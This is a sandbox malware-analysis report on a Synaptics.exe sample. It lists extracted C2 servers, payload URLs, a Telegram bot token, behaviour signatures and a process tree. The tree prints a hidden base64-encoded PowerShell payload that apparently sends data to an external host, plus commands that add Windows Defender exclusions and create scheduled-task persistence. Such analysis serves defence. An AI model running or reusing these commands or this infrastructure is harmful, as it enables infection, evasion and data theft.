Overview

overview

10

Static

static

10

cone.exe.zip

windows11-21h2-x64

1

cone.exe.zip

windows11-ltsc_2024-x64

1

2to1ep.exe

windows11-21h2-x64

2to1ep.exe

windows11-ltsc_2024-x64

main.pyc

windows11-21h2-x64

3

main.pyc

windows11-ltsc_2024-x64

3

4363463463...63.exe

windows11-21h2-x64

10

4363463463...63.exe

windows11-ltsc_2024-x64

Synaptics.exe

windows11-21h2-x64

Synaptics.exe

windows11-ltsc_2024-x64

TsarBomba.exe

windows11-21h2-x64

TsarBomba.exe

windows11-ltsc_2024-x64

10

cobaltstri...de.exe

windows11-21h2-x64

10

cobaltstri...de.exe

windows11-ltsc_2024-x64

10

ed01ebfbc9...aa.exe

windows11-21h2-x64

10

ed01ebfbc9...aa.exe

windows11-ltsc_2024-x64

10

random.exe

windows11-21h2-x64

10

random.exe

windows11-ltsc_2024-x64

10

Resubmissions

27/09/2026, 14:21

260927-rn8hns1yhz10

15/09/2026, 11:13

260915-nbjf8sgj9y

13/09/2026, 12:17

260913-pfz58aba3910

11/09/2026, 14:17

260911-rltazathnb

11/09/2026, 14:10

260911-rgr74sw1hv10

07/09/2026, 14:52

260907-r8tv1sxvat

06/09/2026, 18:39

260906-xarwnaysdx10

06/09/2026, 18:38

260906-xadn2azgqc

06/09/2026, 16:17

260906-trmfqaxgkf10

06/09/2026, 16:09

260906-tl37aaxfma10

Analysis

  • max time kernel
    78s
  • max time network
    129s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-es
  • resource tags

    arch:x64arch:x86image:win11-20260513-eslocale:es-esos:windows11-21h2-x64systemwindows
  • submitted
    25/06/2026, 08:59

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

Errors

Reason
Machine shutdown

General

  • Target
    Synaptics.exe
  • Size 764KB
  • Sample260625-kx1e4aav21
  • SHA256 4e5cc8cb98584335400d00f0a0803c3e0202761f3fbe50bcab3858a80df255e1
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
adwarebackdoorbootkit1b2025costuracredential_accessdefense_evasiondiscoveryexecutionamadeydonutloadergurcumimikatzmythicapollosheetratstealcxredinstallerloaderpackerpersistenceprivilege_escalationpyinstallerransomwarerevoked_codesignspywarestealertrojanupx

Malware Config

Extracted

Family

  • xred

C2

  • xred.mooo.com

Attributes
  • email

    [email protected]

  • payload_url

    http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978

    https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download

    https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1

    http://xred.site50.net/syn/SUpdate.ini

    https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download

    https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1

    http://xred.site50.net/syn/Synaptics.rar

    https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download

    https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1

    http://xred.site50.net/syn/SSLLibrary.dll

Extracted

Family

  • sheetrat

Version

  • 1.8

C2

  • president-rogers.gl.at.ply.gg:24830

Extracted

Family

  • amadey

Version

  • 5.60

Botnet

  • 1b2025

C2

  • http://microsoft-telemetry.cc

  • http://xboxtelemetry-defender.cc

Attributes
  • strings_key

    b33ebf101e5565bbfe8670bcfe79b946

  • url_paths

    /cvdfnaFJBmC0/index.php

    /cvdfnaFJBmC1/index.php

    /cvdfnaFJBmC2/index.php

rc4.plain

Extracted

Family

  • gurcu

C2

  • https://api.telegram.org/bot7617703274:AAFEXxgPRP1fZGT5UCjcRV4hUZdtNFxyusQ/sendMessage?chat_id=-4568449403

  • http://209.38.221.184:8080

  • http://46.235.26.83:8080

  • http://147.28.185.29:80

  • http://206.166.251.4:8080

  • http://51.159.4.50:8080

  • http://167.235.70.96:8080

  • http://194.164.198.113:8080

  • http://132.145.17.167:9090

  • https://5.196.181.135:443

  • http://116.202.101.219:8080

  • https://185.217.98.121:443

  • http://185.217.98.121:8080

  • http://159.203.174.113:8090

  • http://107.161.20.142:8080

  • https://192.99.196.191:443

  • http://65.49.205.24:8080

  • https://154.9.207.142:443

  • http://67.230.176.97:8080

  • http://8.222.143.111:8080

Signatures

  • Family: Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Family: DonutLoader

    DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.

    loaderdonutloader
  • Family: Gurcu, WhiteSnake

    Gurcu aka WhiteSnake is a malware stealer written in C#.

    stealergurcu
  • Family: Mimikatz

    mimikatz is an open source tool to dump credentials on Windows.

    mimikatz
  • Family: MythicApollo

    Mythic Apollo is a Windows agent written in C# for the Mythic C2 framework, used in SpecterOps training.

    backdoormythicapollo
  • Family: Sheetrat, NonEuclid rat

    Sheetrat aka NonEuclid RAT is a trojan written in C#.

    trojansheetrat
  • Family: Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Family: Xred

    Xred is backdoor written in Delphi.

    backdoorxred
  • Detects Amadey x86-bit Payload 4 IoCs
  • Detects DonutLoader 1 IoCs
    loader
  • Detects Mimilove part of Mimikatz 1 IoCs
  • Detects MythicApollo 3 IoCs
  • Detects Sheetrat Obfuscated Payload 2 IoCs

    Sheetrat aka NonEuclid RAT is a trojan written in C#.

  • Detects Stealc stealer Version 2 1 IoCs
  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Downloads MZ/PE file 37 IoCs
  • Drops file in Drivers directory 2 IoCs
  • Manipulates Digital Signatures 1 TTPs 2 IoCs

    Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to make their binary seem validly signed.

  • Server Software Component: Terminal Services DLL 1 TTPs 2 IoCs
    persistence
  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

    revoked_codesign
  • Uses browser remote debugging 2 TTPs 39 IoCs

    Can be used control the browser and steal sensitive information such as credentials and session cookies.

    credential_accessstealer
  • Credentials from Password Stores: Windows Credential Manager 1 TTPs

    Suspicious access to Credentials History.

    credential_accessstealer
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 53 IoCs
  • Loads dropped DLL 64 IoCs
  • Modifies system executable filetype association 2 TTPs 2 IoCs
    persistence
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

    spywarestealer
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Contacts third-party web service commonly abused for C2 1 TTPs 7 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Writes to the Master Boot Record (MBR) 1 TTPs 5 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

    bootkitpersistence
  • Drops file in System32 directory 11 IoCs
  • SmartAssembly .NET packer 2 IoCs

    Detects SmartAssembly .NET packer.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • UPX packed file 12 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Costura .NET executable packer 2 IoCs

    Costura packer aka Costura Fody, is an add-in for the .NET framework that embeds all external dependency .dll files as resources inside main executable.

    costurapacker
  • Drops file in Program Files directory 55 IoCs
  • Drops file in Windows directory 19 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Detects Pyinstaller 3 IoCs
    pyinstaller
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 58 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Time Discovery 1 TTPs 8 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

    discovery
  • NSIS installer 2 IoCs
    installer
  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 11 IoCs
  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Kills process with taskkill 13 IoCs
    defense_evasion
  • Modifies Internet Explorer settings 1 TTPs 7 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 3 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 9 IoCs
    defense_evasionspywaretrojan
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 10 IoCs
  • Suspicious use of SetWindowsHookEx 10 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Views/modifies file attributes 1 TTPs 2 IoCs
    defense_evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\Synaptics.exe
    "C:\Users\Admin\AppData\Local\Temp\Synaptics.exe"
    1⤵
    • Adds Run key to start application
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:5016
    • C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe
      "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe"
      2⤵
      • Downloads MZ/PE file
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4180
      • C:\Users\Admin\AppData\Local\Temp\Files\CFXBypass.exe
        "C:\Users\Admin\AppData\Local\Temp\Files\CFXBypass.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1008
        • C:\Users\Admin\AppData\Local\6f245d13-1798-40e2-b5ee-39b266bf5aa1\background.exe
          "C:\Users\Admin\AppData\Local\6f245d13-1798-40e2-b5ee-39b266bf5aa1\background.exe"
          4⤵
          • Executes dropped EXE
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:5280
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --incognito
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:3240
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABsAGEAPQAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAOwAkAHAAMQA9ACgAJABsAGEAIAArACAAKAAnAFwAJwArACcATQBpAGMAcgBvAHMAbwBmACcAKwAnAHQAXABPAGYAZgBpAGMAZQAnACsAJwBCACcAKwAnAHIAbwBrACcAKwAnAGUAJwArACcAcgAnACkAKQA7ACQAcAAyAD0AKAAkAGwAYQAgACsAIAAoACcAXABQAGEAYwBrAGEAJwArACcAZwBlAHMAXABNACcAKwAnAGkAYwByACcAKwAnAG8AcwBvAGYAJwArACcAdAAuAFcAaQAnACsAJwBuACcAKwAnAGQAbwB3AHMALgBQAGUAbwAnACsAJwBwAGwAZQBFACcAKwAnAHgAJwArACcAcABlAHIAaQBlAG4AYwBlACcAKwAnAEgAbwBzAHQAXwBnAHcAJwArACcAMQBuADEAYwAyAGYAaAAnACsAJwB5AGUAJwArACcAcQAnACsAJwB5ACcAKQApADsAJABwADIAdAA9ACgAJABwADIAIAArACAAKAAtAGoAbwBpAG4AKAAnAFwAQQBDACcALAAnAFwAVABlACcALAAnAG0AcAAnACkAKQApADsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwADEAIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAOwBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHAAMgB0ACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsADsAYQB0AHQAcgBpAGIAIAArAGgAIAArAHMAIAAkAHAAMQA7AGEAdAB0AHIAaQBiACAAKwBoACAAKwBzACAAJABwADIAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwAnACwAJwBMAE0AJwAsACcAXABTACcALAAnAE8ARgBUAFcAQQBSAEUAXAAnACwAJwBQAG8AbABpACcALAAnAGMAaQBlACcALAAnAHMAXABNAGkAYwByAG8AJwAsACcAcwBvAGYAdABcAFcAJwAsACcAaQBuAGQAbwAnACwAJwB3AHMAIABEAGUAZgBlAG4AJwAsACcAZABlAHIAXABFAHgAYwAnACwAJwBsAHUAcwAnACwAJwBpAG8AbgBzAFwAUABhACcALAAnAHQAJwAsACcAaABzACcAKQApACAALwBmACAALwByAGUAZwA6ADYANAA7AHIAZQBnACAAYQBkAGQAIAAoAC0AagBvAGkAbgAoACcASAAnACwAJwBLAEwATQBcAFMATwBGAFQAJwAsACcAVwBBAFIARQAnACwAJwBcAFAAbwBsAGkAYwAnACwAJwBpAGUAcwBcAE0AaQBjAHIAJwAsACcAbwBzAG8AZgB0AFwAJwAsACcAVwBpAG4AZAAnACwAJwBvAHcAcwAgAEQAZQAnACwAJwBmAGUAbgBkAGUAJwAsACcAcgAnACwAJwBcAEUAeABjAGwAdQBzAGkAJwAsACcAbwBuAHMAXAAnACwAJwBQAGEAdABoAHMAJwApACkAIAAvAHYAIAAkAHAAMQAgAC8AdAAgAFIARQBHAF8ARABXAE8AUgBEACAALwBkACAAMAAgAC8AZgAgAC8AcgBlAGcAOgA2ADQAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwBMAE0AXABTAE8ARgAnACwAJwBUAFcAJwAsACcAQQBSAEUAXABQACcALAAnAG8AbABpAGMAaQBlAHMAXAAnACwAJwBNAGkAYwByAG8AcwAnACwAJwBvAGYAdABcAFcAaQBuAGQAJwAsACcAbwB3AHMAIABEAGUAJwAsACcAZgBlAG4AZAAnACwAJwBlAHIAJwAsACcAXABFAHgAYwBsAHUAcwBpACcALAAnAG8AbgBzACcALAAnAFwAUABhAHQAaABzACcAKQApACAALwB2ACAAJABwADIAIAAvAHQAIABSAEUARwBfAEQAVwBPAFIARAAgAC8AZAAgADAAIAAvAGYAIAAvAHIAZQBnADoANgA0ADsAdAByAHkAewBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABwADEAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAHAAMgAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAfQBjAGEAdABjAGgAewB9AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABnAHAAdQBwAGQAYQB0AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAvAGYAbwByAGMAZQAnACwAJwAvAHQAYQByAGcAZQB0ADoAYwBvAG0AcAB1AHQAZQByACcAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBXAGEAaQB0ACAAMgA+ACQAbgB1AGwAbAA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADIAMAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBXAGkAbgBkAG8AdwBzACcAKwAnAFMAJwArACcAeQBzAHQAZQBtAFMAZQAnACsAJwByAHYAaQBjAGUAJwApACAALwB0AHIAIAAoACQAcAAxACAAKwAgACgALQBqAG8AaQBuACgAJwBcACcALAAnAHMAdgBjAGgAJwAsACcAbwBzAHQALgBlACcALAAnAHgAZQAnACkAKQApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBSAHUAbgB0ACcAKwAnAGkAbQBlAEIAcgBvAGsAJwArACcAZQAnACsAJwByAFMAZQAnACsAJwByAHYAaQAnACsAJwBjACcAKwAnAGUAJwApACAALwB0AHIAIAAoACQAcAAyAHQAIAArACAAJwBcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAgAC0ARQBtAGIAZQBkAGQAaQBuAGcAJwApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAPQBbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQByAHYAZQByAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBWAGEAbABpAGQAYQB0AGkAbwBuAEMAYQBsAGwAYgBhAGMAawA9AHsAJAB0AHIAdQBlAH0AOwAkAGkAdgA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADEANgA7AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBSAGEAbgBkAG8AbQBOAHUAbQBiAGUAcgBHAGUAbgBlAHIAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQAoACkALgBHAGUAdABCAHkAdABlAHMAKAAkAGkAdgApADsAJABhAGUAcwA9AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkAOwAkAGEAZQBzAC4ASwBlAHkAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACgAJwA0ADEANwAxACcAKwAnADIAOQA2ADEAMgA5ADQAOQAnACsAJwAxADEANAAxADEANgA3ADMAJwArACcAMAA4ACcAKwAnADkAMQA2ADcAMwAzADkAOQAnACsAJwAwADEAJwApACkAOwAkAGEAZQBzAC4ASQBWAD0AJABpAHYAOwAkAGEAZQBzAC4ATQBvAGQAZQA9ACgALQBqAG8AaQBuACgAJwBDAEIAJwAsACcAQwAnACkAKQA7ACQAYQBlAHMALgBQAGEAZABkAGkAbgBnAD0AKAAnAFAASwAnACsAJwBDAFMAJwArACcANwAnACkAOwAkAGMAbQBkAD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAC0AagBvAGkAbgAoACcAZwBlACcALAAnAHQAUAAnACwAJwBhAHkAbABvACcALAAnAGEAJwAsACcAZAAnACkAKQApADsAJABlAG4AYwBDAG0AZAA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBFAG4AYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABjAG0AZAAsADAALAAkAGMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAYgBvAGQAeQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgACgAJABpAHYALgBMAGUAbgBnAHQAaAArACQAZQBuAGMAQwBtAGQALgBMAGUAbgBnAHQAaAApADsAWwBBAHIAcgBhAHkAXQA6ADoAQwBvAHAAeQAoACQAaQB2ACwAJABiAG8AZAB5ACwAMQA2ACkAOwBbAEEAcgByAGEAeQBdADoAOgBDAG8AcAB5ACgAJABlAG4AYwBDAG0AZAAsADAALAAkAGIAbwBkAHkALAAxADYALAAkAGUAbgBjAEMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACgALQBqAG8AaQBuACgAJwBDACcALAAnAG8AbgB0AGUAbgAnACwAJwB0AC0AVAB5ACcALAAnAHAAZQAnACkAKQAsACgAJwBhAHAAcAAnACsAJwBsAGkAYwAnACsAJwBhAHQAaQBvAG4AJwArACcALwBvAGMAdABlAHQALQBzACcAKwAnAHQAcgBlACcAKwAnAGEAbQAnACkAKQA7ACQAZABhAHQAYQA9ACQAdwBjAC4AVQBwAGwAbwBhAGQARABhAHQAYQAoACcAaAB0AHQAcABzADoALwAvAGkAYgB1AGEAcAByAC0AdABhAGIAMwAyADQALgBjAGMAOgA0ADQAMwAnACwAJABiAG8AZAB5ACkAOwAkAHIAaQB2AD0AWwBiAHkAdABlAFsAXQBdACQAZABhAHQAYQBbADAALgAuADEANQBdADsAJABlAG4AYwA9AFsAYgB5AHQAZQBbAF0AXQAkAGQAYQB0AGEAWwAxADYALgAuACgAJABkAGEAdABhAC4ATABlAG4AZwB0AGgALQAxACkAXQA7ACQAYQBlAHMALgBJAFYAPQAkAHIAaQB2ADsAJABkAGUAYwA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABlAG4AYwAsADAALAAkAGUAbgBjAC4ATABlAG4AZwB0AGgAKQA7AFsASQBPAC4ARgBpAGwAZQBdADoAOgBXAHIAaQB0AGUAQQBsAGwAQgB5AHQAZQBzACgAKAAkAHAAMQAgACsAIAAoACcAXABzAHYAYwAnACsAJwBoAG8AcwB0AC4AZQAnACsAJwB4AGUAJwApACkALAAkAGQAZQBjACkAOwBDAG8AcAB5AC0ASQB0AGUAbQAgACgAJABwADEAIAArACAAKAAnAFwAcwAnACsAJwB2AGMAaABvACcAKwAnAHMAJwArACcAdAAuAGUAJwArACcAeAAnACsAJwBlACcAKQApACAAIgAkAHAAMgB0AFwAUgB1AG4AdABpAG0AZQBCAHIAbwBrAGUAcgAuAGUAeABlACIAIAAtAEYAbwByAGMAZQA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAoACQAcAAxACAAKwAgACgAJwBcAHMAdgBjACcAKwAnAGgAbwBzAHQALgBlACcAKwAnAHgAZQAnACkAKQAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AOwA=
              6⤵
              • Badlisted process makes network request
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:3424
              • C:\Windows\system32\attrib.exe
                "C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker
                7⤵
                • Views/modifies file attributes
                PID:2772
              • C:\Windows\system32\attrib.exe
                "C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy
                7⤵
                • Views/modifies file attributes
                PID:1044
              • C:\Windows\system32\reg.exe
                "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /reg:64
                7⤵
                  PID:744
                • C:\Windows\system32\reg.exe
                  "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker /t REG_DWORD /d 0 /f /reg:64
                  7⤵
                    PID:4656
                  • C:\Windows\system32\reg.exe
                    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy /t REG_DWORD /d 0 /f /reg:64
                    7⤵
                      PID:5708
                    • C:\Windows\system32\gpupdate.exe
                      "C:\Windows\system32\gpupdate.exe" /force /target:computer
                      7⤵
                        PID:3336
                      • C:\Windows\system32\schtasks.exe
                        "C:\Windows\system32\schtasks.exe" /create /tn WindowsSystemService /tr C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe /sc onlogon /rl highest /f
                        7⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:2320
                      • C:\Windows\system32\schtasks.exe
                        "C:\Windows\system32\schtasks.exe" /create /tn RuntimeBrokerService /tr "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy\AC\Temp\RuntimeBroker.exe -Embedding" /sc onlogon /rl highest /f
                        7⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:2440
                      • C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe
                        "C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe"
                        7⤵
                        • Executes dropped EXE
                        PID:244
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu
                    5⤵
                    • Suspicious behavior: EnumeratesProcesses
                    PID:3444
                  • C:\Program Files\Mozilla Firefox\firefox.exe
                    "C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu
                    5⤵
                      PID:3808
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --incognito
                      5⤵
                        PID:2148
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu
                        5⤵
                          PID:544
                        • C:\Program Files\Mozilla Firefox\firefox.exe
                          "C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu
                          5⤵
                            PID:5452
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --incognito
                            5⤵
                              PID:7644
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu
                              5⤵
                                PID:724
                              • C:\Program Files\Mozilla Firefox\firefox.exe
                                "C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu
                                5⤵
                                  PID:6680
                            • C:\Users\Admin\AppData\Local\Temp\Files\EmmetPROD.exe
                              "C:\Users\Admin\AppData\Local\Temp\Files\EmmetPROD.exe"
                              3⤵
                              • Executes dropped EXE
                              • System Location Discovery: System Language Discovery
                              • Suspicious use of SetWindowsHookEx
                              • Suspicious use of WriteProcessMemory
                              PID:4932
                              • C:\Windows\SysWOW64\cmd.exe
                                C:\Windows\system32\cmd.exe /c wmic computersystem get name, TotalPhysicalMemory /Value && wmic os get caption /Value && wmic path Win32_VideoController get CurrentHorizontalResolution,CurrentVerticalResolution /Value && ipconfig | find "IPv4" | find /N ":" | find "[1]"
                                4⤵
                                • System Location Discovery: System Language Discovery
                                • Suspicious use of WriteProcessMemory
                                PID:2036
                                • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                  wmic computersystem get name, TotalPhysicalMemory /Value
                                  5⤵
                                  • System Location Discovery: System Language Discovery
